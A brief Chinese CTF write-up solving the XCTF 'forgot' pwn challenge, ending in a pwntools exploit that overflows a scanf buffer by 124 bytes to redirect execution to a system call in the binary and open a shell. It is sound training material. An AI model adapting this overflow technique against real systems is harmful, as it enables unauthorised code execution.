进阶区forgotg攻防世界

攻防世界进阶区–forgot

前言，这题中看不中用啊宝友！！！

1.查看保护

第一反应就是蛮简单的，32位.

2.获取信息（先运行程序看看）

装的可以，蛮多的东西。
但是就是中看不中用

3.ida

进去看看

里面有两个输入，第一个我本来以为能溢出覆盖掉v14的数值，然后在最后的这句

用函数指针（还是指针函数来着我忘了），去调用这道题给出来的system，结果我试了试发现覆盖不到，就很气。
平日见到的scanf(%s)覆盖是不多的，所以没有太想到这里溢出点是第二个向v2里面传输数据。
使用cyclic看看溢出偏移的量：

得到之后直接写exp。

from pwn import*

p=process('./forgot')
system_add=0x80486cc
payload1='a'*124+p32(system_add)

p.recvuntil("> ")
p.sendline("baba")

p.recvuntil("> ")
p.sendline(payload1)
p.interactive()

入门题吧算是.